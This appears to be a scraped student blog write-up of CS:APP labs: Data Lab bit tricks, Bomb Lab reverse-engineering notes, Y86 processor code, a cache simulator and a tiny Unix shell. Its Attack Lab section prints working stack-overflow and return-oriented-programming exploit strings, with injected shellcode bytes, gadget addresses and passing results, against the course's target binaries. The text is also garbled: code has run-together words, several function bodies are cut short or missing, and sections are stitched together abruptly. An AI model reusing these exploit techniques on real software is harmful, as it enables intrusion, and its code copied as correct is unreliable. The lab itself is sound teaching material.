/* * CS:APP Data Lab * * <Please put your name and userid here> * * bits.c - Source file with your solutions to the Lab. * This is the file you will hand in to your instructor. * * WARNING: Do not include the <stdio.h> header; it confuses the dlc * compiler. You can still use printf for debugging without including * <stdio.h>, although you might get a compiler warning. In general, * it's not good practice to ignore compiler warnings, but in this * case it's OK. */
#if 0 /* * Instructions to Students: * * STEP 1: Read the following instructions carefully. */
You will provide your solution to the Data Lab by editing the collection of functions in this source file.
INTEGER CODING RULES: Replace the "return" statement in each function with one or more lines of C code that implements the function. Your code must conform to the following style: intFunct(arg1, arg2, ...){ /* brief description of how your implementation works */ int var1 = Expr1; ... int varM = ExprM;
varJ = ExprJ; ... varN = ExprN; return ExprR; }
Each "Expr" is an expression using ONLY the following: 1. Integer constants 0 through 255 (0xFF), inclusive. You are not allowed to use big constants such as 0xffffffff. 2. Function arguments and local variables (no global variables). 3. Unary integer operations ! ~ 4. Binary integer operations & ^ | + << >> Some of the problems restrict the set of allowed operators even further. Each "Expr" may consist of multiple operators. You are not restricted to one operator per line.
You are expressly forbidden to: 1. Use any control constructs such as if, do, while, for, switch, etc. 2. Define or use any macros. 3. Define any additional functions in this file. 4. Call any functions. 5. Use any other operations, such as &&, ||, -, or ?: 6. Use any form of casting. 7. Use any data type other than int. This implies that you cannot use arrays, structs, or unions.
You may assume that your machine: 1. Uses 2s complement, 32-bit representations of integers. 2. Performs right shifts arithmetically. 3. Has unpredictable behavior when shifting if the shift amount is less than 0or greater than 31.
EXAMPLES OF ACCEPTABLE CODING STYLE: /* * pow2plus1 - returns 2^x + 1, where 0 <= x <= 31 */ intpow2plus1(int x){ /* exploit ability of shifts to compute powers of 2 */ return (1 << x) + 1; }
/* * pow2plus4 - returns 2^x + 4, where 0 <= x <= 31 */ intpow2plus4(int x){ /* exploit ability of shifts to compute powers of 2 */ int result = (1 << x); result += 4; return result; }
FLOATING POINT CODING RULES
For the problems that require you to implement floating-point operations, the coding rules are less strict. You are allowed to use looping and conditional control. You are allowed to use both ints and unsigneds. You can use arbitrary integer andunsigned constants. You can use any arithmetic, logical, or comparison operations on intorunsigned data.
You are expressly forbidden to: 1. Define or use any macros. 2. Define any additional functions in this file. 3. Call any functions. 4. Use any form of casting. 5. Use any data type other than intorunsigned. This means that you cannot use arrays, structs, or unions. 6. Use any floating point data types, operations, or constants.
NOTES: 1.Use the dlc(data lab checker)compiler(described in the handout) to check the legality of your solutions. 2.Each function has a maximum number of operations(integer, logical, or comparison) that you are allowed to use for your implementation of the function. The max operator count is checked by dlc. Note that assignment('=') is not counted; you may use as many of these as you want without penalty. 3. Use the btest test harness to check your functions for correctness. 4. Use the BDD checker to formally verify your functions 5. The maximum number of ops for each function is given in the header comment for each function. If there are any inconsistencies between the maximum ops in the writeup and in this file, consider this file the authoritative source.
/* * STEP 2: Modify the following functions according the coding rules. * * IMPORTANT. TO AVOID GRADING SURPRISES: * 1. Use the dlc compiler to check that your solutions conform * to the coding rules. * 2. Use the BDD checker to formally verify that your solutions produce * the correct answers. */
#endif //1 /* * bitXor - x^y using only ~ and & * Example: bitXor(4, 5) = 1 * Legal ops: ~ & * Max ops: 14 * Rating: 1 */ intbitXor(int x, int y){ /* * x ^ y = (~x & y) + (x & ~y) * De Morgan's Law : x + y = ~(x & y) */ int part_one = ~((~x) & y); int part_two = ~((~y) & x); return ~(part_one & part_two); } /* * tmin - return minimum two's complement integer * Legal ops: ! ~ & ^ | + << >> * Max ops: 4 * Rating: 1 */ inttmin(void){ return (1 << 31); } //2 /* * isTmax - returns 1 if x is the maximum, two's complement number, * and 0 otherwise * Legal ops: ! ~ & ^ | + * Max ops: 10 * Rating: 1 */ intisTmax(int x){ /* * only when x = 0x7fffffff or x = 0xffffffff, x + x + 2 = 0 * !(x + 1) is designed to distinguish between the two */ return !((x + x + 2) | (!(x + 1))); } /* * allOddBits - return 1 if all odd-numbered bits in word set to 1 * where bits are numbered from 0 (least significant) to 31 (most significant) * Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1 * Legal ops: ! ~ & ^ | + << >> * Max ops: 12 * Rating: 2 */ intallOddBits(int x){ x = (x >> 16) & x; x = (x >> 8 ) & x; x = (x >> 4 ) & x; x = (x >> 2 ) & x; x = (x >> 1 ) & 1; return x; } /* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 5 * Rating: 2 */ intnegate(int x){ return (~x) + 1; } //3 /* * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9') * Example: isAsciiDigit(0x35) = 1. * isAsciiDigit(0x3a) = 0. * isAsciiDigit(0x05) = 0. * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 3 */ intisAsciiDigit(int x){ /* * assume x = 0xMN * part_one check whether M is 3 * part_two check whether N is bigger than 9 */ int part_one = (x >> 4) ^ 0x3; int part_two = (x >> 3) & (((x >> 1) & 1) | ((x >> 2) & 1)); return !(part_one | part_two); } /* * conditional - same as x ? y : z * Example: conditional(2,4,5) = 4 * Legal ops: ! ~ & ^ | + << >> * Max ops: 16 * Rating: 3 */ intconditional(int x, int y, int z){ x = (x << 16) | x; x = (x << 8 ) | x; x = (x << 4 ) | x; x = (x << 2 ) | x; x = (x << 1 ) | x; x = x >> 31; return (x & y) + ((~x) & z); } /* * isLessOrEqual - if x <= y then return 1, else return 0 * Example: isLessOrEqual(4,5) = 1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 24 * Rating: 3 */ intisLessOrEqual(int x, int y){ int x_sign = x >> 31; int y_sign = y >> 31; int y_twos_complement = (~y) + 1;
// if x == y,x_equal_y = 1 int x_equal_y = !(x ^ y); // when x > 0, y > 0, if x < y, then xpyp is negative int xpyp = ((~(x_sign | y_sign)) & (x + y_twos_complement)) >> 31; // if x < 0, y > 0, xnyp always be negative int xnyp = (x_sign & (~y_sign)); // when x < 0, y < 0, if x < y, then xnyn is negative int xnyn = ((x_sign & y_sign) & (x + y_twos_complement)) >> 31;
return (x_equal_y + xpyp + xnyp + xnyn) & 1; } //4 /* * logicalNeg - implement the ! operator, using all of * the legal operators except ! * Examples: logicalNeg(3) = 0, logicalNeg(0) = 1 * Legal ops: ~ & ^ | + << >> * Max ops: 12 * Rating: 4 */ intlogicalNeg(int x){ x = (x >> 16) | x; x = (x >> 8 ) | x; x = (x >> 4 ) | x; x = (x >> 2 ) | x; x = (x >> 1 ) | x; return (~x) & 1; } /* howManyBits - return the minimum number of bits required to represent x in * two's complement * Examples: howManyBits(12) = 5 * howManyBits(298) = 10 * howManyBits(-5) = 4 * howManyBits(0) = 1 * howManyBits(-1) = 1 * howManyBits(0x80000000) = 32 * Legal ops: ! ~ & ^ | + << >> * Max ops: 90 * Rating: 4 */ inthowManyBits(int x){ int sign = x >> 31; int minus_power16 = (~(1 << 16)) + 1; // - 2 ^ 16 int minus_power8 = (~(1 << 8)) + 1; // - 2 ^ 8 int minus_power4 = (~16) + 1; // - 2 ^ 4 int minus_power2 = (~4) + 1; // - 2 ^ 2 int minus_power1 = (~2) + 1; // - 2 ^ 1 int tempX, tempAns; int ans = 0; // if x is greater than 0, x stays the same, otherwise we reverse it x = ((~sign) & x) | (sign & (~x));
tempX = (x + minus_power16) >> 31; tempAns = ((~tempX) & 16); ans += tempAns; x >>= tempAns;
tempX = (x + minus_power8) >> 31; tempAns = ((~tempX) & 8); ans += tempAns; x >>= tempAns;
tempX = (x + minus_power4) >> 31; tempAns = ((~tempX) & 4); ans += tempAns; x >>= tempAns;
tempX = (x + minus_power2) >> 31; tempAns = ((~tempX) & 2); ans += tempAns; x >>= tempAns;
tempX = (x + minus_power1) >> 31; tempAns = ((~tempX) & 1); ans += tempAns; x >>= tempAns;
tempX = (x + (~0)) >> 31; tempAns = ((~tempX) & 1); ans += tempAns; x >>= tempAns;
return1 + ans; } //float /* * floatScale2 - Return bit-level equivalent of expression 2*f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representation of * single-precision floating point values. * When argument is NaN, return argument * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ unsignedfloatScale2(unsigned uf){ unsigned sign = (1 << 31) & uf; unsigned exponent = (sign ^ uf) >> 23; unsigned frac = (sign | (exponent << 23)) ^ uf; if (exponent == 0xff) return uf; elseif (exponent == 0xfe) { return sign | (0xff << 23); } elseif (exponent == 0) { return sign | (frac << 1); } else return sign | ((exponent + 1) << 23) | frac; } /* * floatFloat2Int - Return bit-level equivalent of expression (int) f * for floating point argument f. * Argument is passed as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point value. * Anything out of range (including NaN and infinity) should return * 0x80000000u. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */ intfloatFloat2Int(unsigned uf){ unsigned sign = uf & 0x80000000; int exponent = ((sign ^ uf) >> 23) - 127; unsigned frac = uf & 0x7ffff; unsigned ans = 0;
if (sign) ans = (~ans) + 1; return ans; } /* * floatPower2 - Return bit-level equivalent of the expression 2.0^x * (2.0 raised to the power x) for any 32-bit integer x. * * The unsigned value that is returned should have the identical bit * representation as the single-precision floating-point number 2.0^x. * If the result is too small to be represented as a denorm, return * 0. If too large, return +INF. * * Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while * Max ops: 30 * Rating: 4 */ unsignedfloatPower2(int x){ if (x >= 128) return0x7f800000; elseif (x >= -126) return (x + 127) << 23; elseif (x >= -150) return1 << (x + 150); elsereturn0; }
分析知该函数接收三个参数，分别存于%rdi, %rsi, %rdx中，尝试构造c函数 int func4(int x, int y, int z) { //x in %rdi, y in %rsi, z in %rdx //t <-> %rax w <-> %rcx if (z >= y) { t = z - y; w = 0; t = (z - y) / 2; w = (z + y) / 2; if (w <= x) { t = 0; if (w == x) return t; y = (z + y) / 2 + 1; t = func4(x, y, z); return 2 * t + 1; } else { z = (z + y) / 2 - 1; t = func4(x, y, z); return 2 * t; } } else if (z < y) { t = z - y; w = -1; t = (z - y - 1) / 2; w = (z + y - 1) / 2; if (w <= x) { t = 0; if (w == x) return t; y = (z + y + 1) / 2; t = func4(x, y, z); return 2 * t + 1; } else { z = (z + y - 1) / 2 - 1; t = func4(x, y, z); return 2 * t; } } }
而phase_4()调用本函数时，传入的x, y, z值分别为DWORD PTR 0x8(%rsp), 0, 14.我没有详细探究本函数实现的功能，而是将DWORD PTR 0x8(%rsp)可能的取值(0 ~ 14)全部带入算出结果，由phase_4()函数里 0x000000000040104d <+65>: test %eax,%eax 0x000000000040104f <+67>: jne 0x401058 <phase_4+76>
分析知该循环代码依次将我们所输入的六个字符的低四位作为索引，取0x4024b0作为基地址，分六次将索引对应的字符取出存入%rsp + 16 + bias处的栈中，于是我们先反汇编看下0x4024b0地址处存储的信息 (gdb) x /s 0x4024b0 0x4024b0 <array.3449>: "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
# Does fetched instruction require a regid byte? bool need_regids = icode in { IRRMOVQ, IOPQ, IPUSHQ, IPOPQ, IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ };
# Does fetched instruction require a constant word? bool need_valC = icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL, IIADDQ };
## What register should be used as the B source? word srcB = [ icode in { IOPQ, IRMMOVQ, IMRMOVQ, IIADDQ } : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don't need register ];
## What register should be used as the E destination? word dstE = [ icode in { IRRMOVQ } && Cnd : rB; icode in { IIRMOVQ, IOPQ, IIADDQ} : rB; icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP; 1 : RNONE; # Don't write any register ];
## Select input A to ALU word aluA = [ icode in { IRRMOVQ, IOPQ } : valA; icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ } : valC; icode in { ICALL, IPUSHQ } : -8; icode in { IRET, IPOPQ } : 8; # Other instructions don't need ALU ];
## Select input B to ALU word aluB = [ icode in { IRMMOVQ, IMRMOVQ, IOPQ, ICALL, IPUSHQ, IRET, IPOPQ, IIADDQ } : valB; icode in { IRRMOVQ, IIRMOVQ } : 0; # Other instructions don't need ALU ];
#/* $begin ncopy-ys */ ################################################################## # ncopy.ys - Copy a src block of len words to dst. # Return the number of positive words (>0) contained in src. # # Include your name and ID here. # # Describe how and why you modified the baseline code. # ################################################################## # Do not modify this portion # Function prologue. # %rdi = src, %rsi = dst, %rdx = len ncopy:
################################################################## # You can modify this portion # Loop header xorq %rax, %rax # count = 0; iaddq $-8, %rdx # len -= 8 andq %rdx, %rdx # len < 0? jl Remain # if so, goto Remain: Loop: mrmovq (%rdi), %r10 # read val from src... mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 andq %r10, %r10 # val <= 0? rmmovq %r10, (%rsi) # ...and store it to dst jle Npos1 # if so, goto Npos: iaddq $1, %rax # count++ Npos1: andq %r11, %r11 rmmovq %r11, 8(%rsi) jle Npos2 iaddq $1, %rax Npos2: andq %r12, %r12 rmmovq %r12, 16(%rsi) jle Npos3 iaddq $1, %rax Npos3: andq %r13, %r13 rmmovq %r13, 24(%rsi) jle Npos4 iaddq $1, %rax Npos4: iaddq $32, %rdi # src+=4 iaddq $32, %rsi # dst+=4 mrmovq (%rdi), %r10 # read val from src... mrmovq 8(%rdi), %r11 mrmovq 16(%rdi), %r12 mrmovq 24(%rdi), %r13 andq %r10, %r10 # val <= 0? rmmovq %r10, (%rsi) # ...and store it to dst jle Npos5 # if so, goto Npos: iaddq $1, %rax # count++ Npos5: andq %r11, %r11 rmmovq %r11, 8(%rsi) jle Npos6 iaddq $1, %rax Npos6: andq %r12, %r12 rmmovq %r12, 16(%rsi) jle Npos7 iaddq $1, %rax Npos7: andq %r13, %r13 rmmovq %r13, 24(%rsi) jle Npos8 iaddq $1, %rax Npos8: iaddq $32, %rdi # src+=4 iaddq $32, %rsi # dst+=4 iaddq $-8, %rdx # len -= 8 jge Loop # if so, goto Loop: Remain: iaddq $8, %rdx je Done Final_loop: mrmovq (%rdi), %r10 # read val from src... andq %r10, %r10 # val <= 0? rmmovq %r10, (%rsi) # ...and store it to dst jle Npos9 # if so, goto Npos9: iaddq $1, %rax # count++ Npos9: iaddq $8, %rdi # src++ iaddq $8, %rsi # dst++ iaddq $-1, %rdx # len-- jg Final_loop
################################################################## # Do not modify the following section of code # Function epilogue. Done: ret ################################################################## # Keep the following label at the end of your function End: #/* $end ncopy-ys */
fez@papyruszzz:/mnt/d/repositories/CSAPP/Labs/AttackLab/target1$ ./hex2raw < ctarget1.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course15213-f15 lab attacklab result1:PASS:0xffffffff:ctarget:1:01020304050607080910010203040506070809100102030405060708091001020304050607080910 C0174000
48 c7 c7 fa 97 b9 59 68 ec 174000 c3 31323334353637 31323334353637383930 31323334353637383930 78 dc 615500000000
测试结果
1 2 3 4 5 6 7 8 9
fez@papyruszzz:/mnt/d/repositories/CSAPP/Labs/AttackLab/target1$ ./hex2raw < ctarget2.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course15213-f15 lab attacklab result1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B95968 EC 174000 C331323334353637313233343536373839303132333435363738393078 DC 6155
movq 字符串首地址, %rdi ;48 c7 c7 xx xx xx xx pushq $0x4018fa ;68 fa 184000 retq ;c3
xx xx xx xx为待计算出的字符串首地址
选择将字符串数据放于注入代码之后，得输入文本
1 2 3 4 5 6 7 8 9
0x5561dc78: 3132333435363738 ;填充 0x5561dc80: 3930313233343536 ;填充 0x5561dc88: 3738393031323334 ;填充 0x5561dc90: 3536373839303132 ;填充 0x5561dc98: 3334353637383930 ;填充 0x5561dca0: a8 dc 615500000000 ;返回地址 0x5561dca8: 48 c7 c7 xx xx xx xx 68 ;代码 0x5561dcb0: fa 184000 c3 000000 ;代码 0x5561dcb8: 3539623939376661 ;字符串
观察知字符串首地址为0x5561dcb8，故最终文本为
1 2 3 4 5 6 7 8
31323334353637383930 31323334353637383930 31323334353637383930 31323334353637383930 a8 dc 615500000000 48 c7 c7 b8 dc 615568 fa 184000 c3 000000 3539623939376661
测试结果
1 2 3 4 5 6 7 8 9
fez@papyruszzz:/mnt/d/repositories/CSAPP/Labs/AttackLab/target1$ ./hex2raw < ctarget3.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target ctarget PASS: Would have posted the following: user id bovik course15213-f15 lab attacklab result1:PASS:0xffffffff:ctarget:3:31323334353637383930313233343536373839303132333435363738393031323334353637383930 A8 DC 61550000000048 C7 C7 B8 DC 615568 FA 184000 C30000003539623939376661
31323334353637383930 31323334353637383930 31323334353637383930 31323334353637383930 ab 19400000000000 fa 97 b9 5900000000 c5 19400000000000 ec 17400000000000
测试结果
1 2 3 4 5 6 7 8 9
fez@papyruszzz:/mnt/d/repositories/CSAPP/Labs/AttackLab/target1$ ./hex2raw < rtarget1.txt | ./rtarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target rtarget PASS: Would have posted the following: user id bovik course15213-f15 lab attacklab result1:PASS:0xffffffff:rtarget:2:31323334353637383930313233343536373839303132333435363738393031323334353637383930 AB 19400000000000 FA 97 B95900000000 C519400000000000 EC 17400000000000
fez@papyruszzz:/mnt/d/repositories/CSAPP/Labs/AttackLab/target1$ ./hex2raw < rtarget2.txt | ./rtarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa") Valid solution for level 3 with target rtarget PASS: Would have posted the following: user id bovik course15213-f15 lab attacklab result1:PASS:0xffffffff:rtarget:3:31323334353637383930313233343536373839303132333435363738393031323334353637383930 AB 194000000000002000000000000000 DD 19400000000000341A 400000000000131A 400000000000061A 400000000000 A219400000000000 D619400000000000 A219400000000000 FA 184000000000003539623939376661
voidhelp(char *argv[]){ printf("Usage: %s [-hv] -s <num> -E <num> -b <num> -t <file>\n", argv[0]); printf("Options:\n"); printf(" -h\t\tPrint this help message.\n"); printf(" -v\t\tOptional verbose flag.\n"); printf(" -s <num>\tNumber of set index bits.\n"); printf(" -E <num>\tNumber of lines per set.\n"); printf(" -b <num>\tNumber of block offset bits.\n"); printf(" -t <file>\tTrace file.\n\n"); printf("Examples:\n"); printf(" linux> %s -s 4 -E 1 -b 4 -t traces/yi.trace\n", argv[0]); printf(" linux> %s -v -s 8 -E 2 -b 4 -t traces/yi.trace\n", argv[0]); }
voidload_store(int count, unsigned tag, unsigned index, unsigned offset, unsigned size, int E){ //is it already in the cache? for (int i = 0; i < E; i++) { if (cache[IDX(index, i, E)].tag == tag && cache[IDX(index, i, E)].valid) { cache[IDX(index, i, E)].count = count; hit_count++; if (v) printf(" hit"); return; } } miss_count++; if (v) printf(" miss"); //is set already full? for (int i = 0; i < E; i++) { if (!cache[IDX(index, i, E)].valid) { cache[IDX(index, i, E)].valid = 1; cache[IDX(index, i, E)].tag = tag; cache[IDX(index, i, E)].count = count; return; } } //full int min_index = 0, min_count = INT_MAX; for (int i = 0; i < E; i++) { if (cache[IDX(index, i, E)].count < min_count) { min_count = cache[IDX(index, i, E)].count; min_index = i; } } cache[IDX(index, min_index, E)].tag = tag; cache[IDX(index, min_index, E)].count = count; eviction_count++; if (v) printf(" eviction"); }
inthextodec(char c){ if (c >= '0' && c <= '9') { return c - '0'; } if (c >= 'A' && c <= 'F') { return c - 'A' + 10; } if (c >= 'a' && c <= 'f') { return c - 'a' + 10; } return0; }
voidprint(char buf[]){ for (int i = 0; buf[i] != '\n'; i++) printf("%c", buf[i]); }
当矩阵规模来到64 x 64后，若继续将其划分为若干8 x 8有些不太合适。若B[0][0]加载于set 0中，则B[1][0]加载于set 8中，
B[2][0]加载于set 16中，B[3][0]加载于set 24中，缓存中最多只能同时放下B数组连续的4列，于是考虑将整个矩阵全划分为4 x 4大小的分块，得函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
char trans_desc1[] = "4 x 4"; voidtrans1(int M, int N, int A[N][M], int B[M][N]) { int i, j, ii, a0, a1, a2, a3; for (i = 0; i < N; i += 4) { for (j = 0; j < M; j += 4) { for (ii = i; ii < i + 4; ii++) { a0 = A[ii][j + 0]; a1 = A[ii][j + 1]; a2 = A[ii][j + 2]; a3 = A[ii][j + 3]; B[j + 0][ii] = a0; B[j + 1][ii] = a1; B[j + 2][ii] = a2; B[j + 3][ii] = a3; } } } }
测试结果为
1 2 3 4
Function 0 (1 total) Step 1: Validating and generating memory traces Step 2: Evaluating performance (s=5, E=1, b=5) func 0 (4 x 4): hits:6498, misses:1699, evictions:1667
1699次缺失，不太理想。按这种分块，当访问如A[0][0]元素时，将A[0][0]至A[0][７]八个元素都加载入缓存中，而我们只使用了A[0][0]到A[0][３]四个元素，后四个元素被遗弃，后续需要使用这些元素时又得将这八个元素再次加载入内存，由此造成了不必要的缺失。同之前的思路，既然一次加载八个元素入缓存，后四个暂时用不上，考虑将其存储于某处，条件满足时再将其从暂存处取出使用，而不必再次将这些元素加载到缓存中，从而减少缺失次数。具体地，我们仍将64 x 64分为16个8 x 8大小的块，再将每个8 x 8的块分为4个4 x 4的块，分别取左上、右上、左下、右下四小块为一号块、二号块、三号块与四号块，如下图
for (i = 0; i < M; i += 16) { for (j = 0; j < N; j += 16) { for (jj = j; jj < j + 16 && jj < N; jj++) { for (ii = i; ii < i + 16 && i < M; ii++) { B[ii][jj] = A[jj][ii]; } } } }
Cache Lab summary: Points Max pts Misses Csim correctness 27.027 Trans perf 32x328.08259 Trans perf 64x648.081179 Trans perf 61x6710.0101908 Total points 53.053
首先，实验手册里那句Read every word of Chapter 8(Exceptional Control Flow) in your textbook.非常重要，所有的谜题都能在这一章找到答案。搭建shell时，同样按照实验手册里的建议，根据tshref例程运行从trace0到trace16的结果，一步一步来构建自己的shell
intbuiltin_cmd(char **argv) { if (!strcmp(argv[0], "quit")) exit(0); if (!strcmp(argv[0], "jobs")) return1; if (!strcmp(argv[0], "fg")) return1; if (!strcmp(argv[0], "bg")) return1; return0; /* not a builtin command */ }
voideval(char *cmdline) { char* argv[MAXARGS]; /* Argument list execve() */ char buf[MAXLINE]; /* Holds modified command line */ int bg, state; /* Should the job run in bg or fg? */ pid_t pid; /* Process id */ sigset_t mask_one, mask_all, prev_one;
/* Should the job run in bg or fg? */ isFG = (!strcmp(argv[0], "fg")) ? 1 : 0;
if (argv[1] == NULL) { /* Parameter missing */ if (isFG) printf("fg command requires PID or %%jobid argument\n"); else printf("bg command requires PID or %%jobid argument\n"); return; }
cp = argv[1]; if (cp[0] == '%') { /* The number stands for jid */ cp++; /* Check whether the ID is valid */ for (char* tmp = cp; *tmp != '\0'; tmp++) { if (*tmp < '0' || *tmp > '9') { if (isFG) printf("fg: argument must be a PID or %%jobid\n"); else printf("bg: argument must be a PID or %%jobid\n"); return; } } jid = atoi(cp); job = getjobjid(jobs, jid); } else { /* The number stands for pid */ /* Check whether the ID is valid */ for (char* tmp = cp; *tmp != '\0'; tmp++) { if (*tmp < '0' || *tmp > '9') { if (isFG) printf("fg: argument must be a PID or %%jobid\n"); else printf("bg: argument must be a PID or %%jobid\n"); return; } } pid = atoi(cp); job = getjobpid(jobs, pid); }
if (job == NULL) { if (argv[1][0] == '%') printf("%%%d: No such job\n", jid); else printf("(%d): No such process\n", pid); return; }
/* Since we want to put the process in the foreground or background, restart it if it was stopped */ kill(-job->pid, SIGCONT);
/* * tsh - A tiny shell program with job control * * <Put your name and login ID here> */ #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<string.h> #include<ctype.h> #include<signal.h> #include<sys/types.h> #include<sys/wait.h> #include<errno.h>
/* Misc manifest constants */ #define MAXLINE 1024 /* max line size */ #define MAXARGS 128 /* max args on a command line */ #define MAXJOBS 16 /* max jobs at any point in time */ #define MAXJID 1<<16 /* max job ID */
/* Job states */ #define UNDEF 0 /* undefined */ #define FG 1 /* running in foreground */ #define BG 2 /* running in background */ #define ST 3 /* stopped */
/* * Jobs states: FG (foreground), BG (background), ST (stopped) * Job state transitions and enabling actions: * FG -> ST : ctrl-z * ST -> FG : fg command * ST -> BG : bg command * BG -> FG : fg command * At most 1 job can be in the FG state. */
/* Global variables */ externchar **environ; /* defined in libc */ char prompt[] = "tsh> "; /* command line prompt (DO NOT CHANGE) */ int verbose = 0; /* if true, print additional output */ int nextjid = 1; /* next job ID to allocate */ char sbuf[MAXLINE]; /* for composing sprintf messages */
structjob_t {/* The job struct */ pid_t pid; /* job PID */ int jid; /* job ID [1, 2, ...] */ int state; /* UNDEF, BG, FG, or ST */ char cmdline[MAXLINE]; /* command line */ }; structjob_tjobs[MAXJOBS];/* The job list */ /* End global variables */
/* Function prototypes */
/* Here are the functions that you will implement */ voideval(char *cmdline); intbuiltin_cmd(char **argv); voiddo_bgfg(char **argv); voidwaitfg(pid_t pid);
/* Self-defining function */ pid_tFork(void); voidSigprocmask(int how, constsigset_t* set, sigset_t* oldset); voidSigemptyset(sigset_t* set); voidSigfillset(sigset_t* set); voidSigaddset(sigset_t* set, int signum); voidSigdelset(sigset_t* set, int signum);
/* * main - The shell's main routine */ intmain(int argc, char** argv) { char c; char cmdline[MAXLINE]; int emit_prompt = 1; /* emit prompt (default) */
/* Redirect stderr to stdout (so that driver will get all output * on the pipe connected to stdout) */ dup2(1, 2);
/* Parse the command line */ while ((c = getopt(argc, argv, "hvp")) != EOF) { switch (c) { case'h': /* print help message */ usage(); break; case'v': /* emit additional diagnostic info */ verbose = 1; break; case'p': /* don't print a prompt */ emit_prompt = 0; /* handy for automatic testing */ break; default: usage(); } }
/* Install the signal handlers */
/* These are the ones you will need to implement */ Signal(SIGINT, sigint_handler); /* ctrl-c */ Signal(SIGTSTP, sigtstp_handler); /* ctrl-z */ Signal(SIGCHLD, sigchld_handler); /* Terminated or stopped child */
/* This one provides a clean way to kill the shell */ Signal(SIGQUIT, sigquit_handler);
/* Initialize the job list */ initjobs(jobs);
/* Execute the shell's read/eval loop */ while (1) {
/* Read command line */ if (emit_prompt) { printf("%s", prompt); fflush(stdout); } if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin)) app_error("fgets error"); if (feof(stdin)) { /* End of file (ctrl-d) */ fflush(stdout); exit(0); }
/* Evaluate the command line */ eval(cmdline); fflush(stdout); fflush(stdout); }
exit(0); /* control never reaches here */ } /* * eval - Evaluate the command line that the user has just typed in * * If the user has requested a built-in command (quit, jobs, bg or fg) * then execute it immediately. Otherwise, fork a child process and * run the job in the context of the child. If the job is running in * the foreground, wait for it to terminate and then return. Note: * each child process must have a unique process group ID so that our * background children don't receive SIGINT (SIGTSTP) from the kernel * when we type ctrl-c (ctrl-z) at the keyboard. */ voideval(char *cmdline) { char* argv[MAXARGS]; /* Argument list execve() */ char buf[MAXLINE]; /* Holds modified command line */ int bg, state; /* Should the job run in bg or fg? */ pid_t pid; /* Process id */ sigset_t mask_one, mask_all, prev_one;
if (!builtin_cmd(argv)) { Sigprocmask(SIG_SETMASK, &mask_one, &prev_one);
if ((pid = Fork()) == 0) { /* Child runs user job */ Sigprocmask(SIG_SETMASK, &prev_one, NULL); setpgid(0, 0); if (execve(argv[0], argv, environ) < 0) { printf("%s: Command not found.\n", argv[0]); exit(0); } }
state = bg ? BG : FG; /* Block all signals.This process cannot be interrupted */ Sigprocmask(SIG_SETMASK, &mask_all, NULL); addjob(jobs, pid, state, cmdline); Sigprocmask(SIG_SETMASK, &prev_one, NULL);
/* Parent waits for foreground job to terminate */ if (bg) { printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline); } else waitfg(pid); } else { /* builtin command */ if (!strcmp(argv[0], "jobs")) listjobs(jobs); else do_bgfg(argv); }
return; }
/* * parseline - Parse the command line and build the argv array. * * Characters enclosed in single quotes are treated as a single * argument. Return true if the user has requested a BG job, false if * the user has requested a FG job. */ intparseline(constchar* cmdline, char** argv) { staticchararray[MAXLINE]; /* holds local copy of command line */ char* buf = array; /* ptr that traverses command line */ char* delim; /* points to first space delimiter */ int argc; /* number of args */ int bg; /* background job? */
strcpy(buf, cmdline); buf[strlen(buf) - 1] = ' '; /* replace trailing '\n' with space */ while (*buf && (*buf == ' ')) /* ignore leading spaces */ buf++;
/* Build the argv list */ argc = 0; if (*buf == '\'') { buf++; delim = strchr(buf, '\''); } else { delim = strchr(buf, ' '); }
/* should the job run in the background? */ if ((bg = (*argv[argc - 1] == '&')) != 0) { argv[--argc] = NULL; } return bg; }
/* * builtin_cmd - If the user has typed a built-in command then execute * it immediately. */ intbuiltin_cmd(char **argv) { if (!strcmp(argv[0], "quit")) exit(0); if (!strcmp(argv[0], "jobs")) return1; if (!strcmp(argv[0], "fg")) return1; if (!strcmp(argv[0], "bg")) return1; return0; /* not a builtin command */ }
/* * do_bgfg - Execute the builtin bg and fg commands */ voiddo_bgfg(char **argv) { int jid = 0, pid = 0, isFG = 0; char* cp; structjob_t* job =NULL;
/* Should the job run in bg or fg? */ isFG = (!strcmp(argv[0], "fg")) ? 1 : 0;
if (argv[1] == NULL) { /* Parameter missing */ if (isFG) printf("fg command requires PID or %%jobid argument\n"); else printf("bg command requires PID or %%jobid argument\n"); return; }
